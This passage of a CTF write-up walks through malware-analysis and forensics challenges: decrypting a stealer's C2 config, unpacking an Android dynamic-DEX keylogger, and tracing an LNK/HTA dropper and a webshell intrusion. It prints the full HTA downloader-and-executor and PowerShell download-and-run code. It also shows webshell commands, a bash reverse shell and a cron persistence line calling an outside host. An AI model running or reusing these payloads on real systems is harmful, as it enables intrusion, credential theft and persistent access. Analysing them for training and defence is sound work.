1
2
3
4
5
6
7
8
9
10
11
12
13
$ConnectivityModule = "KgLzmYKpZFe6P8SFkeOJyQqQdHpgagBwgiWg5GxfuQzId0L67FdiyDp8qZGyxPtUE+LOUJwuPrqsXWydzpUjsw=="
$encodedBytes2 = [Convert]::FromBase64String($ConnectivityModule)
$ivBytes2 = $encodedBytes2[32..47]
$ciphertext2 = $encodedBytes2[48..($encodedBytes2.Length-1)]
$aes.IV = $ivBytes2
$decryptor2 = $aes.CreateDecryptor()
$decrypted2 = $decryptor2.TransformFinalBlock($ciphertext2, 0, $ciphertext2.Length)
$port = [System.Text.Encoding]::UTF8.GetString($decrypted2)
Write-Host "Port: $port"
# Output: 9999
Step 7: The full C2 URL
1
https://1k92jsas.capturextheflag.io:9999/upload
The malware POSTs stolen data (zip file with documents + screenshot) to this endpoint.
Complete decryption script
Here’s the full script if you want to run it yourself:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# Encrypted config from malware
$TelemetryNetwork = "whQkhfaCW4dvBnzTCDW5rW6KLTU9RiSTcNwWFR/1gNP8rRfd9nuzy53BXr26J/7peazAVzWXDeL02U5ZiAQ1xbh9hBpgXzGf0/ukSaW+9mwFRwVGOnaRwSgyJpJ7KAOK"
$ConnectivityModule = "KgLzmYKpZFe6P8SFkeOJyQqQdHpgagBwgiWg5GxfuQzId0L67FdiyDp8qZGyxPtUE+LOUJwuPrqsXWydzpUjsw=="
$SecureChannelProvider = "QWdYdDZUc2R3bTE4Y3p5Y2UycXpwN3RoTDhIbmc2eHc="
# Decode master key
$networkSecret = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($SecureChannelProvider))
Write-Host "[*] Master key: $networkSecret"
# Derive AES key
$protocolSalt = [byte[]]@(191, 235, 30, 86, 251, 205, 151, 59, 178, 25, 2, 36, 48, 165, 120, 67, 0, 61, 86, 68, 210, 30, 98, 185, 212, 241, 128, 231, 230, 195, 57, 65)
$rfc = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($networkSecret, $protocolSalt, 50000)
$encodingKey = $rfc.GetBytes(32)
$rfc.Dispose()
# Setup AES
$aes = New-Object System.Security.Cryptography.AesCryptoServiceProvider
$aes.KeySize = 256; $aes.BlockSize = 128
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.Key = $encodingKey
# Decrypt domain
$encodedBytes = [Convert]::FromBase64String($TelemetryNetwork)
$aes.IV = $encodedBytes[32..47]
$decrypted = $aes.CreateDecryptor().TransformFinalBlock($encodedBytes[48..($encodedBytes.Length-1)], 0, $encodedBytes.Length-48)
$domain = [System.Text.Encoding]::UTF8.GetString($decrypted)
Write-Host "[+] Domain: $domain"
# Decrypt port
$encodedBytes2 = [Convert]::FromBase64String($ConnectivityModule)
$aes.IV = $encodedBytes2[32..47]
$decrypted2 = $aes.CreateDecryptor().TransformFinalBlock($encodedBytes2[48..($encodedBytes2.Length-1)], 0, $encodedBytes2.Length-48)
$port = [System.Text.Encoding]::UTF8.GetString($decrypted2)
Write-Host "[+] Port: $port"
Write-Host "[+] Full C2: ${domain}:${port}/upload"
Output:
1
2
3
4
[*] Master key: AgXt6Tsdwm18czyce2qzp7thL8Hng6xw
[+] Domain: https://1k92jsas.capturextheflag.io
[+] Port: 9999
[+] Full C2: https://1k92jsas.capturextheflag.io:9999/upload
Flag:
nexsec25{1k92jsas.capturextheflag.io}
Photo Viewer
By Mynz
Category: Malware Analysis
Description: A user downloaded what appeared to be a legitimate photo gallery application from a third-party app store. Shortly after installation, they noticed unusual battery drain and suspicious network activity. The device’s security logs show the app accessing resources it shouldn’t need for a simple gallery viewer.
Analyze the APK and the flag hidden in the malware.
ps: infected
Solution:
We are given Photo Viewer.apk, the sus file that the user got. Next im using apktool to decompile the apk using this command.
apktool d "Photo Viewer.apk" -o decompiled
After decomplile, you can see that the app request some unusual permission like internet and network. Not essential for a photo viewer app to use that.
- Internet - Network communication capability
- Access network state - Monitor network status
- Manage external storage - Full storage access
After further analysis, in the smali_classes17/com/dot/gallery/GalleryApp.smali, i found the onCreate() method launches a coroutine on the IO dispatcher
This coroutine executes GalleryApp$onCreate$1 class
Next if we go to the GalleryAppOnCreate
The coroutine calls SplashScreen.renderSplashScreen(), a suspicious naming for what should be a simple splash screen.
Then if we go to the
smali_classes10/com/dot/gallery/feature_node/presentation/splash/SplashScreen$renderSplashScreen$1.smali
The process calls $GetMediaKt.getSplashScreen()$ to retrieve binary data. This returned data is subsequently used to create an $InMemoryDexClassLoader$, which then dynamically loads and executes the DEX code at runtime.
This is a classic Android malware technique known as Dynamic DEX Loading .
The core concept involves loading executable code at runtime to evade static analysis. Specifically, the malware first downloads or retrieves encrypted DEX bytecode. It then decrypts this bytecode and loads it directly into memory. Finally, it executes the malicious payload without the code ever being present in the original, analyzable APK file.
Next, we look what mediakt do
smali_classes24/com/dot/gallery/feature_node/data/data_types/GetMediaKt.smali
.method public static final getSplashScreen(Landroid/content/Context;Lkotlin/coroutines/Continuation;)Ljava/lang/Object;
.line 72
:try_start_0
sget v0, Lcom/dot/gallery/R$string;->splashscreen:I
invoke-virtual {p0, v0}, Landroid/content/Context;->getString(I)Ljava/lang/String;
move-result-object v0
const-string v1, “getString(…)”
invoke-static {v0, v1}, Lkotlin/jvm/internal/Intrinsics;->checkNotNullExpressionValue(Ljava/lang/Object;Ljava/lang/String;)V
invoke-static {v0, p0}, Lcom/dot/gallery/feature_node/data/data_types/DecryptPrivateMediaKt;->decryptPrivateMedia(Ljava/lang/String;Landroid/content/Context;)[B
move-result-object v0
new-instance v1, Ljava/lang/String;
sget-object v2, Lkotlin/text/Charsets;->UTF_8:Ljava/nio/charset/Charset;
invoke-direct {v1, v0, v2}, Ljava/lang/String;-><init>([BLjava/nio/charset/Charset;)V
move-object v0, v1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.line 75
new-instance v1, Ljava/net/URL;
invoke-direct {v1, v0}, Ljava/net/URL;\-\>\<init\>(Ljava/lang/String;)V
.line 76
sget-object v2, Lkotlin/text/Charsets;\-\>UTF\_8:Ljava/nio/charset/Charset;
invoke-static {v1}, Lkotlin/io/TextStreamsKt;\-\>readBytes(Ljava/net/URL;)\[B
move-result-object v3
new-instance v4, Ljava/lang/String;
invoke-direct {v4, v3, v2}, Ljava/lang/String;\-\>\<init\>(\[BLjava/nio/charset/Charset;)V
move-object v2, v4
.line 79
invoke-static {v2, p0}, Lcom/dot/gallery/feature\_node/data/data\_types/DecryptPrivateMediaKt;\-\>decryptPrivateMedia(Ljava/lang/String;Landroid/content/Context;)\[B
move-result-object v3
.line 84
return-object v3
The process first retrieves an encrypted URL from $R.string.splashscreen$ and then decrypts this URL using the $decryptPrivateMedia()$ function. Next, it downloads the content from the decrypted URL. Finally, it decrypts the downloaded content to return the decrypted DEX payload.
Next we found a suspicious strings, which is Base64-encoded, AES-encrypted URL. in the res/values/strings.xml
.method public static final decryptPrivateMedia(Ljava/lang/String;Landroid/content/Context;)[B
.line 14
:try_start_0
const-string v0, “AES/ECB/PKCS5Padding”
invoke-static {v0}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
move-result-object v0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.line 15
new-instance v1, Ljavax/crypto/spec/SecretKeySpec;
sget v2, Lcom/dot/gallery/R$string;\-\>media\_unlock:I
invoke-virtual {p1, v2}, Landroid/content/Context;\-\>getString(I)Ljava/lang/String;
move-result-object v2
const/4 v3, 0x0
invoke-static {v2, v3}, Landroid/util/Base64;\-\>decode(Ljava/lang/String;I)\[B
move-result-object v2
const-string v4, "AES"
invoke-direct {v1, v2, v4}, Ljavax/crypto/spec/SecretKeySpec;\-\>\<init\>(\[BLjava/lang/String;)V
.line 17
move-object v2, v1
check-cast v2, Ljava/security/Key;
const/4 v4, 0x2
invoke-virtual {v0, v4, v2}, Ljavax/crypto/Cipher;\-\>init(ILjava/security/Key;)V
.line 18
invoke-static {p0, v3}, Landroid/util/Base64;\-\>decode(Ljava/lang/String;I)\[B
move-result-object v2
.line 19
invoke-virtual {v0, v2}, Ljavax/crypto/Cipher;\-\>doFinal(\[B)\[B
move-result-object v3
Next we look if the program have the decryption method, and we found it at smali_classes24/com/dot/gallery/feature_node/data/data_types/DecryptPrivateMediaKt.smali
The encryption details utilize the $AES/ECB/PKCS5Padding$ algorithm . The required key for decryption is sourced from $R.string.media\_unlock$, which contains the key in a Base64 encoded format. The operation is specifically configured for Decrypt mode (mode=2).
We need to find the key which found in the strings.xml
So we decrypt encrypted url with the key
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# AES key from media_unlock string
key_b64 = “NXVwNDUzY3UyNGszeVlvX2p1NTdmMDIxaDRjazIwMjQ=”
key = base64.b64decode(key_b64)
# Encrypted URL from splashscreen string
encrypted_url_b64 = “4GWN1LWGUMR2pKAngPA+6n7lBdGLdImliS+bGCoEK8orXLtijGZF4i2AgLDqArfYwa9PQbsFh5+RTy4VqB3VfdtBsWbSR0Y1hRcjjbNeBVA=”
# Decrypt
encrypted_url = base64.b64decode(encrypted_url_b64)
cipher = AES.new(key, AES.MODE_ECB)
decrypted_url_bytes = unpad(cipher.decrypt(encrypted_url), AES.block_size)
decrypted_url = decrypted_url_bytes.decode(‘utf-8’)
print(f”Decrypted URL: {decrypted_url}”)
And the output give us a github url
Decrypted URL: https://github.com/TomatoTerbang/redesigned-robot/raw/refs/heads/main/KamGobing
Which if you open it, it shows
So we know that the program download the payload from the github, using the key we get the DEX file, i use this code decrypt it
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key_b64 = “NXVwNDUzY3UyNGszeVlvX2p1NTdmMDIxaDRjazIwMjQ=”
key = base64.b64decode(key_b64)
with open(“payload_encrypted.txt”, “r”) as f:
encrypted_payload_b64 = f.read().strip()
encrypted_payload = base64.b64decode(encrypted_payload_b64)
cipher = AES.new(key, AES.MODE_ECB)
decrypted_payload = unpad(cipher.decrypt(encrypted_payload), AES.block_size)
with open(“payload_decrypted.dex”, “wb”) as f:
f.write(decrypted_payload)
So analysing the malware using this code
import re
# Read the decrypted DEX file
with open(“payload_decrypted.dex”, “rb”) as f:
data = f.read()
# Convert to string with latin-1 encoding (preserves all bytes)
data_str = data.decode(‘latin-1’)
# Search for various patterns
print(“=== Searching for interesting strings ===\n”)
# Look for URLs
urls = re.findall(r’https?://[^\s\x00]+’, data_str)
print(f”URLs found:”)
for url in urls:
print(f” - {url}”)
print(“\n”)
# Look for method names containing flag
methods = re.findall(r’[a-zA-Z_][a-zA-Z0-9_]*Flag[a-zA-Z0-9_]*’, data_str)
print(f”Methods/variables with ‘flag’:”)
for method in set(methods):
print(f” - {method}”)
print(“\n”)
# Extract all null-terminated strings longer than 10 chars
strings = [s for s in data_str.split(‘\x00’) if len(s) > 10 and s.isprintable()]
print(f”Interesting strings (printable, > 10 chars):”)
for s in strings[:50]: # First 50 strings
if any(keyword in s.lower() for keyword in [‘flag’, ‘secret’, ‘nexsec’, ‘key’, ‘password’, ‘ctf’]):
print(f” !!! {s}”)
elif len(s) < 80:
print(f” - {s}”)
# Look for base64-like strings
print(“\n=== Looking for base64 encoded strings ===”)
base64_pattern = re.compile(r’[A-Za-z0-9+/]{20,}={0,2}’)
base64_strings = base64_pattern.findall(data_str)
for b64 in base64_strings[:10]:
if len(b64) > 20 and len(b64) < 200:
print(f” - {b64}”)
# Look for the printFlag method implementation
print(“\n=== Searching for printFlag method ===”)
idx = data_str.find(‘printFlag’)
if idx != -1:
context = data_str[max(0, idx-200):min(len(data_str), idx+200)]
print(f”Context around ‘printFlag’:”)
print(repr(context))
We found it has
Command & Control URL:
- http://dk1l2jd90as.capturextheflag.io:8080/keylog/save
Suspicious Methods:
- printFlag - Method to display the flag
- sendLog - Exfiltrate keylogging data
- onAccessibilityEvent - Android accessibility service abuse
Encrypted Flag String:
- bBJNkA2kvfETMiuzUh3PYUQMstHcXPdMZNj2c20oiZwFAWuoq7ll2umX8eNUqhFj
Decrypting the encrypted flag using python will give us the real flag
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# AES key
key_b64 = “NXVwNDUzY3UyNGszeVlvX2p1NTdmMDIxaDRjazIwMjQ=”
key = base64.b64decode(key_b64)
# Encrypted flag from DEX file
encrypted_flag_b64 = “bBJNkA2kvfETMiuzUh3PYUQMstHcXPdMZNj2c20oiZwFAWuoq7ll2umX8eNUqhFj”
# Decrypt
encrypted_data = base64.b64decode(encrypted_flag_b64)
cipher = AES.new(key, AES.MODE_ECB)
decrypted = unpad(cipher.decrypt(encrypted_data), AES.block_size)
flag = decrypted.decode(‘utf-8’)
print(f”FLAG: {flag}”)
Flag:
nexsec25{dyn4m1c_d3x_kn0w13d93_941n3d!}
Birthday Trap
By Mynz
Category: Malware Analysis
Description: Your colleague Aminah received a birthday greeting email with an attached image file “happy_birthday.png”. She mentioned seeing a warning dialog when she clicked it, but she forgot what it said then her PC started acting strange.
Do NOT execute or click this file!- perform static analysis only to find the flag safely.
Analyze the happy_birthday.png and find the flag hidden in the malware.
Disclaimer: This malware sample was created exclusively for the NEXSEC CTF competition. The authors are not responsible for any damages caused by misuse. All analysis should only be performed in a secure, isolated environment such as a virtual machine or sandbox.
Solution:
After unzippin the zip file, we got a suspicious png with a .lnk file extension, Happy_Birthday.png.lnk. Then using powershell command, i found
- Target: mshta.exe (Microsoft HTML Application host)
- Argument: Remote HTA file from GitHub Pages
- Icon: Image icon from SHELL32.dll to appear as a picture file
Using the github link, i download the M.hta file and i found that to distract the victim, the attack opens a legitimate birthday image while using curl to download a payload disguised as wct9D39.jpg, which is then decoded via certutil.exe, XOR-decrypted using a PowerShell script with key 0x42, executed, and finally deleted along with temporary files to conceal any traces.
Here is the content of the M.hta file
<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION ID=“Si”
APPLICATIONNAME=“Downloader”
WINDOWSTATE=“minimize”
MAXIMIZEBUTTON=“no”
MINIMIZEBUTTON=“no”
CAPTION=“no”
SHOWINTASKBAR=“no”>
<script>
function XLKJSDGOODOGOGOGo(xaksldfijfijgika) {
a = new ActiveXObject(“Wscript.Shell”);
a.Run(xaksldfijfijgika, 0);
}
function OCKJOIFJIOGGOGOGOf(xaksldfijfijgika) {
b = new ActiveXObject(“Wscript.Shell”);
b.Run(xaksldfijfijgika, 0);
}
function liociaskdjlkdlakfk(xaksldfijfijgika) {
c = new ActiveXObject(“Wscript.Shell”);
c.Run(xaksldfijfijgika, 0);
}
function LSJDiJLKDJOGOGOGOfn(n){
var d = new ActiveXObject(“WScript.Shell”);
d.Run(“%comspec% /c ping -n “ + n + “ 127.0.0.1 > nul”, 0, 1);
d = null;
}
XLKJSDGOODOGOGOGo(“https://archiveimage.github.io/Pictures/Happy_Birthday.jpeg”);
LSJDiJLKDJOGOGOGOfn(3);
XLKJSDGOODOGOGOGo(“curl https://wonderpetak.github.io/W0nderpet4kk/wct9D39.jpg -o %TEMP%\\wct9D39.jpg”);
LSJDiJLKDJOGOGOGOfn(5);
OCKJOIFJIOGGOGOGOf(“certutil.exe -decode %TEMP%\\wct9D39.jpg %TEMP%\\wct9D39.tmp”);
LSJDiJLKDJOGOGOGOfn(3);
OCKJOIFJIOGGOGOGOf(“powershell.exe -NoProfile -Command \“$xorKey=0x42; $bytes=[IO.File]::ReadAllBytes($env:TEMP+’\\wct9D39.tmp’); $decoded=@(); foreach($b in $bytes){$decoded+=$b -bxor $xorKey}; [IO.File]::WriteAllBytes($env:TEMP+’\\winp.ps1’,[byte[]]$decoded)\””);
LSJDiJLKDJOGOGOGOfn(2);
OCKJOIFJIOGGOGOGOf(“powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File %TEMP%\\winp.ps1”);
LSJDiJLKDJOGOGOGOfn(2);
liociaskdjlkdlakfk(“cmd /c del /f /q %TEMP%\\winp.ps1 %TEMP%\\wct9D39.tmp %TEMP%\\wct9D39.jpg”);
</script>
</head>
<body>
</body>
</html>
It says the xor key is 0x42 at powershell.exe -NoProfile -Command, we might want to save it. Then we download the payload from wonderpetak. I notice that the jpg is actually base64 decode, so i use certutil to decode it. This is the command i use
curl https://wonderpetak.github.io/W0nderpet4kk/wct9D39.jpg -o wct9D39.jpgcertutil -decode wct9D39.jpg wct9D39.tmp
Next we got the input and output length is
- Input Length = 2988
- Output Length = 2164
Build the decryption code
import os
# Get script directory
script_dir = os.path.dirname(os.path.abspath(__file__))
input_file = os.path.join(script_dir, ‘wct9D39.tmp’)
output_file = os.path.join(script_dir, ‘winp.ps1’)
# Read encrypted file
with open(input_file, ‘rb’) as f:
encrypted = f.read()
# XOR decrypt with key 0x42
decrypted = bytes([b ^ 0x42 for b in encrypted])
# Save decrypted file
with open(output_file, ‘wb’) as f:
f.write(decrypted)
print(“Decrypted! First 10 lines:”)
print(‘\n’.join(decrypted.decode(‘utf-8’).split(‘\n’)[:10]))
Yeahh, i did do it wrong tho
Flag:
nexsec2025{P0w3rSh3ll_C0mm3nt5_H1d3_S3cr3ts!}
Here’s the dump #1 - #2
By m0nt3r & Jerit3787
Q1
By m0nt3r
Category: Incident Response
Description: You receive an encrypted disk dump from a client in rural Transylvania, where a series of unexplained system outages have been spreading through the region like an unseen contagion. The client reports that their workstation became “strangely alive” before crashing—screens flickering, unauthorized processes appearing only to vanish seconds later.
One of the victim had downloaded suspicious file.
Due to not leave any traces, the file is deleted but we as analyst should never give up! Try find the hash of the file! Good luck! (SHA1)
Download: https://drive.google.com/file/d/1vINYXwHBGCVzsJ6bmqmmSqcKrtzrObDS/view?usp=sharing
Solution:
Step 1: Prefetch Analysis
Examined the Windows Prefetch directory for evidence of recently executed programs:
Get-ChildItem C:\Windows\Prefetch\*.pf
Finding: Discovered A.EXE-04BF3E92.pf
This indicated a suspiciously named executable (A.exe) had been executed on the system. The simple single-letter filename is a common indicator of malicious activity.
Step 2: MFT (Master File Table) Analysis
Parsed the $MFT to look for file metadata and deleted file entries:
analyzemft -f C:\$MFT -o mft_output.csv
Result: A.exe was NOT found in the MFT, confirming the file had been deleted.
Step 3: Windows Defender Logs
Searched Windows Defender logs for malware detections:
Select-String -Path “MPLog-*.log” -Pattern “A\.exe”
Result: No malware detections logged for A.exe.
Step 4: BITS Database (qmgr.db)
Analyzed the Background Intelligent Transfer Service database for download history:
Result: No relevant download records found.
Step 5: Amcache.hve Analysis
The Amcache.hve registry hive stores application compatibility data including:
- File paths of executed programs
- SHA1 hashes
- File metadata
- Execution timestamps
Python Script to Parse Amcache:
from Registry import Registry
def parse_amcache(hive_path):
reg = Registry.Registry(hive_path)
1
2
3
4
5
6
7
8
9
10
\# Navigate to InventoryApplicationFile
key\_path \= r"Root\\InventoryApplicationFile"
inv\_app\_file \= reg.open(key\_path)
\# Search for A.exe
for file\_entry in inv\_app\_file.subkeys():
if 'a.exe' in file\_entry.name().lower():
print(f"Found: {file\_entry.name()}")
for value in file\_entry.values():
print(f" {value.name()}: {value.value()}")
Evidence :
Amcache Entry for A.exe
| Registry Path: Root\InventoryApplicationFile\a.exe | a2acd45851b95bc8 |
Complete Metadata:
ProgramId : 0006e9002e6835d749e6fc9397d1fd255e920000ffff
FileId : 0000a86dfbc01e9f834ed18b3e7bfc183d1381a5aac4
LowerCaseLongPath : c:\users\alina\downloads\a.exe
Name : a.exe
Size : 1953450 bytes
BinaryType : pe32_i386
LinkDate : 08/05/2015 00:46:27
Language : 0
Usn : 2005492584
Key Observations
1. File Location: C:\Users\Alina\Downloads\A.exe
- Downloaded by user “Alina”
- Located in Downloads folder (common entry point for malware)
2. File Properties:
- Size: ~1.9 MB
- 32-bit PE executable
- Compiled: August 5, 2015
3. FileId Format: 0000 + SHA1 Hash
- First 4 characters: Format identifier
- Remaining 40 characters: SHA1 hash
Hash Extraction
FileId Breakdown:
FileId: 0000a86dfbc01e9f834ed18b3e7bfc183d1381a5aac4
^^^^└─────────────────────┬──────────────────────┘
Format SHA1 Hash (40 hex characters)
Identifier
Extraction Process:
$fileId = “0000a86dfbc01e9f834ed18b3e7bfc183d1381a5aac4”
$sha1 = $fileId.Substring(4)
Write-Host “SHA1: $($sha1.ToUpper())”
Solution
-——-
Answer (SHA1 Hash):
A86DFBC01E9F834ED18B3E7BFC183D1381A5AAC4
Flag:
nexsec25{A86DFBC01E9F834ED18B3E7BFC183D1381A5AAC4}
Q2
By Jerit3787
Category: Incident Response
Description: Local rumors speak of a shadowy outbreak affecting networks across several small towns, always beginning at night, always leaving behind the same digital residue: a corrupted disk and a user who swears they heard faint whispers from their speakers before the system went dark.
Your task as the digital forensic analyst:
Dissect the disk image, trace the origin of this outbreak, and uncover whatever breached the system—before it spreads further.
Where was the RAT file downloaded from?
Flag format: NEXSEC25{http://xx.xx/x/x.ext}
Download dump from here:
https://drive.google.com/file/d/1h456-bfttlqiyKD-V5FcY8IspZ_rp5rG/view?usp=sharing
Solution:
Step 1: Examine User Activity Artifacts
The investigation started by identifying which user was compromised. Analysis of user profiles revealed Alina as the primary victim based on:
- Recent file activity in her profile
- PowerShell command history
- Download folder artifacts
Step 2: Analyze PowerShell Console History
Checked Alina’s PowerShell command history file:
1
C:\Users\Alina\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Contents:
1
2
3
4
5
6
7
8
9
10
11
12
Get-PSReadLineOption
get-wmiobject -class win32_share -computername 192.168.11.18
powershell.exe -exec bypass Invoke-WebRequest http://hackzone.com/public/mimikatz.exe -usebasicparsing -OutFile C:\Users\Alina\Downloads\pdfreader.exe
powershell.exe -exec bypass C:\Users\Alina\downloads\pdfreader.exe
get-wmiobject -class win32_share -computername 192.168.11.18
New-PSDrive -name "x" -PSProvider filesystem -root "\\192.168.11.18\c$" -Persist
x:
cd .\Storage\
cd .\topsecret\
cp .\secret.db C:\Users\Public\
powershell.exe -exec bypass C:\Users\Alina\Downloads\pdfreader.exe
exit
Important Note: This history only shows interactive commands typed by the user - NOT programmatically executed scripts.
Step 3: Deep Dive into PowerShell Event Logs
The PowerShell Operational Log captures ALL script block executions, including those run by malware. Using Event ID 4104 (Script Block Logging):
1
2
3
Get-WinEvent -Path "...\Microsoft-Windows-PowerShell%4Operational.evtx" `
-FilterXPath "*[System[(EventID=4104)]]" |
Where-Object { $_.Message -match "http" }
Results revealed TWO distinct download events:
Event 1: Initial RAT (Automated/Silent)
1
2
3
4
5
6
7
8
9
Timestamp: 22/02/2023 9:55:21 PM
User SID: S-1-5-21-1726061425-2053664492-3504447741-26603 (Alina)
(New-Object System.Net.WebClient).DownloadFile(
'http://osdsoft.com/download/updater.exe',
'a.exe'
);
(New-Object -com shell.application).shellexecute('a.exe');
(get-item 'a.exe').Attributes += 'Hidden';
Event 2: Secondary Payload (Manual)
1
2
3
4
5
Timestamp: 22/02/2023 9:59:59 PM
User SID: S-1-5-21-1726061425-2053664492-3504447741-26603 (Alina)
powershell.exe -exec bypass Invoke-WebRequest http://hackzone.com/public/mimikatz.exe
-usebasicparsing -OutFile C:\Users\Alina\Downloads\pdfreader.exe
Step 4: Determine Which is the “RAT”
Key Distinction:
| Attribute | osdsoft.com (a.exe) | hackzone.com (pdfreader.exe) |
|---|---|---|
| Timestamp | 9:55:21 PM (FIRST) | 9:59:59 PM (4 min later) |
| Execution Method | Automated via .NET WebClient | Manual via Invoke-WebReques |
| In Console History? | NO | YES |
| Defense Evasion | Hidden attribute set | None |
| Nature | Initial infection vector | Secondary payload |
Conclusion: The osdsoft.com download is the initial RAT because:
1. It happened FIRST** (4 minutes before the hackzone download)
2. NOT in ConsoleHost_history - indicates it was NOT typed manually but executed programmatically (by the RAT itself or initial exploit)
3. Uses stealthier technique - .NET WebClient instead of PowerShell cmdlets
4. Sets hidden attribute - Active defense evasion
5. The hackzone download was a secondary action performed AFTER the attacker already had access via the initial RAT
Flag:
nexsec25{http://osdsoft.com/download/updater.exe}
Breadcrumbs #1 - #13
By m0nst3r
Q1
Category: Digital Forensic
Description: TechHire Solutions prided themselves on finding the perfect candidates. But someone applied for more than just a job. They received a job application that wasn’t what it seemed. The attacker left but not without leaving breadcrumbs behind. You’ve been called in as an incident responder. The web logs are waiting. Follow the trail! Among thousands of legitimate visitors, one IP address stands out as suspicious. What is the attacker’s IP address?
Flag format : nexsec25{ip}
Solution:
Acces.log is our only reference in this challenge, so, I will be using powershell command.
Step 1: Search for malicious patterns
Command:
Get-Content access.log | Select-String -Pattern ‘“(GET|POST) .*(\.\.\/|%2e%2e|%252e|\?.*cmd|;.*&|union.*select|etc\/passwd|\.\.\\)’
This PowerShell command scans access.log and shows only HTTP GET/POST requests that look suspicious, such as directory traversal, command injection, SQL injection or attempts to access sensitive files
Findings:
The search revealed suspicious activity from 192.168.21.102:
192.168.21.102 - - [13/Dec/2025:02:16:10 +0800] “GET /uploads/resume_aiman.pdf.php?cmd=whoami HTTP/1.1” 200 224
192.168.21.102 - - [13/Dec/2025:02:17:13 +0800] “GET /uploads/resume_aiman.pdf.php?cmd=id HTTP/1.1” 200 269
192.168.21.102 - - [13/Dec/2025:02:18:12 +0800] “GET /uploads/resume_aiman.pdf.php?cmd=uname%20-a HTTP/1.1” 200 386
The IP was executing commands through a webshell via the cmd parameter.
Flag:
nexsec25{192.168.21.102}
Q2
The attacker uploaded a malicious file. What is the full filename? Flag format : nexsec25{file.py}
- Solution:
- From the command execution logs, the webshell was accessed at:
- /uploads/resume_aiman.pdf.php?cmd=
- From the command execution logs, the webshell was accessed at:
The malicious file uses a double extension technique:
appears as: resume_aiman.pdf.php
purpose: disguised as a Pdf resume but executes as php
Flag:
nexsec25{resume_aiman.pdf.php}
Q3
What was the timestamp when the attacker uploaded the malicious file?
Flag format : nexsec25{12/Dec/2012:12:12:12 +0800}
Solution:
I Reviewed the attacker’s timeline to find when the file was uploaded:
Command:
Get-Content access.log | Select-String -Pattern ‘^192\.168\.21\.102’
RESULT
The attacker submitted a POST request to the application form:
192.168.21.102 - - [13/Dec/2025:02:13:37 +0800] “POST /submit.php HTTP/1.1” 200 1218
This POST request to /submit.php is when the malicious file was uploaded
through the job application submission form.
Shortly after, the attacker accessed /uploads/ directory and began executing
commands through the uploaded webshell.
Flag:
nexsec25{13/Dec/2025:02:13:37 +0800}
Q4
The attacker executed multiple commands through the webshell. What was the first command? Flag format : nexsec25{pwd}
Solution:
I examined all webshell command executions in chronological order:
192.168.21.102 - - [13/Dec/2025:02:16:10 +0800] “GET /uploads/resume_aiman.pdf.php?cmd=whoami”
192.168.21.102 - - [13/Dec/2025:02:17:13 +0800] “GET /uploads/resume_aiman.pdf.php?cmd=id”
192.168.21.102 - - [13/Dec/2025:02:17:24 +0800] “GET /uploads/resume_aiman.pdf.php?cmd=hostname”
The first command executed through the webshell was whoami at 02:16:10.
Flag:
nexsec25{whoami}
Q5
From the webshell commands, the attacker was preparing for the next stage of the attack. What IP address and port was the attacker planning to connect back to? Flag format : nexsec25{ip:port}
Solution:
I analyzed the final commands executed by the attacker:
192.168.21.102 - - [13/Dec/2025:02:19:56 +0800] “GET /uploads/resume_aiman.pdf.php?cmd=which%20python3%20php%20nc%20bash%20curl%20wget”
192.168.21.102 - - [13/Dec/2025:02:23:09 +0800] “GET /uploads/resume_aiman.pdf.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.16.23.13%2F4444%200%3E%261%27”
Findings:
The attacker checked for available tools (bash, nc, curl) then executed
a bash reverse shell.
URL-decoded command:
bash -c ‘bash -i >& /dev/tcp/172.16.23.13/4444 0>&1’
This establishes a reverse shell connection to:
- IP: 172.16.23.13
- Port: 4444
Flag:
nexsec25{172.16.23.13:4444}
Q6
Following the webshell upload, the attacker established a reverse shell connection. Analyze the captured traffic to uncover their activities on the compromised system. What is the first full command the attacker executed after gaining the reverse shell connection?
Note : This PCAP file will be used for all remaining Breadcrumbs questions.
Flag format : nexsec25{flag}
Solution:
First, I analyzed the network conversations to identify suspicious traffic using Wireshark. I found out that the TCP conversations revealed numerous connections to port 4444:
- First major connection: 192.168.8.36:53788 <-> 172.16.23.13:4444 (TCP stream 17)
- Second major connection: 192.168.8.36:49736 <-> 172.16.23.13:4444 (TCP stream 23)
- Multiple persistence connections spawned by cron job
I identified that TCP stream 17 contained the first reverse shell session:
First Command After Reverse Shell ;
Flag:
nexsec25{cat /etc/os-release}
Q7
Under which user context was the attacker operating after gaining the reverse shell?
Flag format : nexsec25{flag}
Solution:
Refer to screenshot at breadcrumb#6,
From the same TCP Stream 17, the prompt showed www-data@server, which is the default Apache web server user
on Ubuntu/Debian systems.
Flag:
nexsec25{www-data}
Q8
In which directory was the attacker initially located when the reverse shell connected? Flag format : nexsec25{flag}
Solution:
Refer to screenshot at breadcrumb#6,
The shell spawned in the uploads directory where the webshell was uploaded.
Flag:
nexsec25{/var/www/html/uploads}
Q9
The attacker attempted to read a file containing password hashes but was denied. What file was this? (include path)
Solution:
Command executed: cat /etc/shadow resulted in “Permission denied”
Flag:
nexsec25{/etc/shadow}
Q10
What command did the attacker use to search for SUID binaries on the system?
Answer: find / -perm -4000 -type f 2>/dev/null
This searches for files with SUID bit set (permission 4000), commonly targeted
for privilege escalation.
Flag:
nexsec25{find / -perm -4000 -type f 2>/dev/null}
Q11
The attacker established persistence. What is the full command used?
Solution:
Answer:
(crontab -l 2>/dev/null; echo “* * * * * /bin/bash -c ‘bash -i >& /dev/tcp/172.16.23.13/4444 0>&1’”) | crontab -
This command:
- Lists existing crontab entries
- Appends a new cron job that runs every minute
